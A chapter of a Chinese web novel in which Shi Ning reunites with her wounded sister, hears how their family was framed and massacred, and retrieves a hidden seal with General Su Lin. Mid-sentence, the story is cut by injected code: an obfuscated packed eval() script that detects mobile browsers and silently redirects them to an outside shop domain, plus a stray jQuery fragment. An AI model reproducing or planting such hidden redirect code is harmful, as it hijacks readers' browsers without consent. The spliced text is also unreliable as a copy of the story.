时凝在福榆宫中心焦了一日,终于熬到的了三更天。
在密道内说是脚下生风也不为过。
苏凛早知她要过来。
榭珠院内的书房暗门早时已经敞开。
时凝在暗门出现时微微喘息,眼瞧着就是一路跑过来的。
女子甫一出现,气息还未稳,便问:“我妹妹可醒醒了。”
苏凛缓步走到她身边,“醒了,我带你去瞧。”
时凝紧跟着苏凛,额上沁了一层薄薄的汗,他知道她着急,不由得也快了脚步。
两人行至镇南将军府内的长汀院。
苏凛示意两人眼前的院门。
“在里头。”
而后便止住了步子,“到了时辰回来叫你。”
时凝匆匆弯身言谢,转身便小跑到了院中。
苏凛看着那风卷般进去的背影,脸色微不可查地划过一抹不忍。
肃声交代了一句收尾看好院门,旋即朝榭珠院的方向走去。
时凝小跑着走近。
每一步都似踩着心脏的鼓点。
这鼓点比往常急促,每一步都灌着钝痛。
她站至门前,欲要抬手。
忽而顿住。
那股阔别了四年的思念与痛,忽而集中在那抬起的臂上。
时凝屏息,抬手扣门,喉中模糊,“醒醒。”
门被一双细手蓦地推开。
时凝眸中漫上眼泪,几近失声,“醒醒。”
桌前的一道身影旋即朝她冲了过来,撞进的怀中。
“阿姐!”
怀中的人满是哭腔,脖颈处一感受到濡湿的泪。
时凝颤抖着身子,一只手抚上怀中的人。眼泪从通红的眸中溢了出来。
“阿姐看看你……”她哽咽道,“阿姐看看你。”
怀中的人从她的颈窝处抬起头来。
看着时眠发红的眼眶,时凝无法抑住从眸中落下的泪。
四年前她走时,小姑娘的模样红润,活泼可爱,一瞧便是被家中养得极好。
可如今,时凝只见一身伤痕的妹妹站在自己眼前。
又怎能忍住不痛。
可时眠眼中也只看得见她阿姐变了。
“阿姐,”眼前的姑娘哭得像幼兽,语气中满是痛惜,“阿姐,你信中不是说北境的人待你很好么,你骗我们是不是?”
时眠话中很有着从前的嗔怪,时凝心下一松,不由得扯出了一抹笑。
她的醒醒还是一如从前。
她安抚般抚了抚时眠的头顶,嘴角那抹微弱的笑意还未消失,闷闷地“嗯”了一声。
接着道:“醒醒,你身上的伤如何了,那位刘大夫可怎么说?”
时眠没有马上回她的话,而是牵着她的手走到窗边的小榻上坐下,这才道:“伤得有些重……”
此话一出,时凝立刻精神紧绷,忙反攥住时眠的手,正欲开口询问,就听时眠道:“不过那位大夫说只要悉心养上好些时日便能养好了。”
时凝蓦地松了一口气,笑道:“那咱们便好好养。”
时眠重重地点了点头,突然想到已经疑惑了一日的事。
“阿姐,这镇南将军府是怎么回事?他们又为何要帮咱们?”
“阿姐同他做了一笔交易。”
凉风从窗入室内,千枝台上的烛火随着风而晃动,时凝将她回来以后发生的所有事细细讲来。
几刻间,时眠恍然大悟。
她就说这权臣的厢房怎地这般简陋。
时凝握着时眠的手,面露正色,“醒醒,我不在家四年,三伯的随记中也不似从前将京城的事事无巨细,你告诉阿姐,当年……”
“到底发生了什么?”
时眠的思绪随着此话飘忽到那三年间,不安与愤恨卷土重来,她看着时凝,缓缓将那三年发生的事说了出来。
时凝被上为质之后,朝中从前构陷时家的臣子并没有因为知道为质的是时家女而停止对时国公和时家的弹劾。
皇帝所承诺的旧案重启仿若只是一个虚无的幌子,查案的人亦不曾更换。
起先的两年间,时家的案子来来回回在朝堂之上扯来扯去。罪证被拿出来,又被推翻。循环反复,不曾决断。
朝上替时家说话的人,有的险些被归为时家一党,有的被归为时家一党。
一时之间,几乎都被明里暗里降了官职。
而时家众人,三年间已成了刑狱司的常客。
时家祖父,时国公夫妇以及时家老三,全部都想尽了一切办法,可越往后,各种自证的门路处处受阻,回回碰壁。
后来更是在朝中举步维艰,渐渐招架不住。
直至到了端明三十年年初,时家被扣上善用擢升司司书职权替官员伪造政绩文书、透检官之题以谋利、暗中拨配闲肥之官的等罪名之后,再次有人检举时国公夫人在灵州暗养打手,暴敛民财。
时而,灵州民众暴乱的消息便传到了京城之中。
时家四夫人,时母陶清舆,作为灵州陶家商号的掌舵人,几月间搜集证状,力保陶家之清白。
然而螳臂当车,终是徒劳。
正当时家众人疲惫不堪之时,端明三十年四月初七,戌正。
一道密旨传了进来,令时家祖父暗入宫中。
祖父时长林,同皇帝在宫中长谈一夜。
端明三十年四月初七的们孟夏夜,皇帝又给了时家一个承诺。
只亮了几盏烛火的政和殿外,侍卫融于黑夜,在暗处严防死守整个大殿。
殿内,皇帝躬身,向一个年老的长者行了一礼,面露愧色。
时长林大惊失色。
此夜,皇帝与他道朝中奸臣当道,道心间一腔愤懑和抱负无从实现。
他对着耆艾老者弯身,满是恳切,“朕知时家蒙冤,可当下最好之计便是望时家到添州暂避,虽是流放之名,然朕定会打点好一切。”
“若时家能在添州养精蓄锐,来日定能助朝纲,助朕,一臂之力!”
恍惚间,时长林仿若看见了励精图治的先帝。
可转眼间,这三年里朝中之事历历在目。
时长林历经三朝,竟看不清眼前这位端明帝的真面目。
这位天子,与先帝像,却又不像。
他知道这暗处里有人把手着。
却理不清这些是要杀他,还是要维护此次密谈。
可他眼下没有退路,只得应了皇帝所言。
他临退前,朝皇帝躬身,“陛下深谋远虑,于时家有万恩,然此次流徙添州,陛下恕罪……”
沧桑的眸中落下两行泪,“臣的、臣的孙女还在北境……”
端明帝知道面前人还说出口的话是什么,旋即面露愧色。
“是朕有过,等她归来,朕还让用永安的名头,她还是天家的公主。”
夜渐深,时长林归家时已是子初。
长汀院内的风骤然刮得呼呼作响。
时眠接着道:“祖父回来与我们说了此事,家中权衡利弊,觉着此法是那时处境的唯一出路,于是便按照皇帝给的路去施行。”
“那时娘想给阿姐留下一些钱财,因为心中存了疑影,便想将这笔钱财藏住,于是三伯便提出将这个消息藏着除了他只有阿姐你知道的那本随记里。”
“祖父和爹娘考量,思及即使抄家流放凝园亦不会被封,于是将一切安排妥当之后将将随记和新刻了的私印暗中放到凝园。”
“后来,四月十九那天,因为皇帝之诺,阿姐回来还是公主,祖父依礼,暗中带着爹娘到宫里谢恩。”
“再后来……”
再后来,时凝知道了。
刑军当夜包围时家。
满门被害。
“刑军闯入家门,家里人拼死抵抗,哥哥护着我……”
时眠的声音回荡在耳边,时凝突然想到那日在庆功宴上玉葭说的话——
“这擢升司司书犯的罪太重,被刑军打断了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17844955|211726||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
腿才抄的家。还有他那儿女,听说刀要抹他们母亲脖子的时候扑上去挡,结果那时寻被砍断了一只手。听着都让人害怕,这才是真正的血腥呢!”
她刚止住的眼泪再次淹没双眼。
时眠亦不愿说当时的惨状,只再往下言说其后之事。
“后来,三伯临逝前在我耳边说了开启私印暗格的方法,却被突然出现的王祯发现。我逃了出来。又因为他的出现而担心随记和私印被发现,于是溜回书阁,却只能找到私印。”
“王祯的人追着我不放,我将私印藏好之后,还是被他抓了。”
“一年间,他将我关在暗牢之中,便是想知道当初三伯在我耳边说了什么。”
窗边瓶植内的叶子被今日的风雨吹打得破败不堪。
时凝渐渐覆上时眠苍白的脸,眸中被平静的痛和仇恨包裹,蓄藏一个无声的漩涡。
怕吓着时眠,漫上喉咙的血被她生生压了下去。
她势不会让那些人好过。
然而这时,时眠突然抓住了她手,急忙道:“阿姐,私印!私印被我藏在了船市。”
时凝思绪回笼,朝时眠点点头。
船市,以船为铺,以行交易。就聚集在西面热闹非凡的惠安河岸边。
“就藏在阿姐你常买糕饼的那张船铺下面,用了阿姐你教过我的水藏术。”
船市的船以租为制。
船舟长年停靠岸边,可租可买。三月起租,交了钱财便可租对应的期限,出摊随心,别人不可强占。
若是买下一船,买主便可随心装扮。
时凝最爱光顾的那家船铺,持铺娘子就是买下了这方船铺,专卖糕点。
时凝朝她笑,“嗯,阿姐知道了。”
话音刚落,门外便想起了扣门的声音。
苏凛的声音透过门穿进来,“时辰差不多了。”
时凝应了门外的声音,回过头摸了摸时眠的脑袋,有些不舍,“你要好好养伤,阿姐明日还来看你。”
时眠点点头,在她面前很有些乖巧。
时凝出来时,便见苏凛长身挺立站在院门外。
月光清辉,挺立的轮廓看着原是有些冷冽的。
可不知为何,此刻她却觉着有些柔和。
时凝快步走到院门。
“见谅,久等了。”她轻柔声道。
苏凛见她快步朝这边走来,眉眼间不觉染上几丝暖意。
等人走到跟前,又侧过脸,跟着身边的脚步往前走,漫不经心道:“聊好了?”
“嗯,”时凝点点头,“阿眠说私印藏在惠安河的船市那边。”
“惠安河?”
时眠点头应是,随后转头,清亮的眸子看着他,“你可有什么法子掩人耳目将我带到那儿?”
“暗道。”苏凛答道。
暗道?
他到底有挖了多少条暗道?竟通到了惠安河。
苏凛已瞧见她疑惑的面容,解释,“加上通往福榆宫的,共五处,惠陵船市,南郊小雀村两处,禾青巷。”
“苏将军还真是……”时凝看着他,有些惊叹,“蓄谋已久。”
——
翌日。
时凝好不容易又在福榆宫内熬了一日。
终于等到夜里同苏凛从暗道来到惠安船市。
她踏上熟悉的糕饼船铺,趴在船沿边在水下摸索着。
终于摸到一方小小的隔水布帛,手腕巧劲儿一用,便将卡在船下的私印拿了出来。
“找到了。”
时凝十分高兴。
然而脚下不稳,险些踉跄着倒下去。
苏凛立马将她扶住。
然而还未站稳。
蓦地身后传来一道声音。
“阿凝。”
时凝眉心一紧,和苏凛同时抬眼去看。
然而只一眼。
她瞪大了眼睛。
步子虚浮。
恍惚间后背靠进了苏凛的怀里。“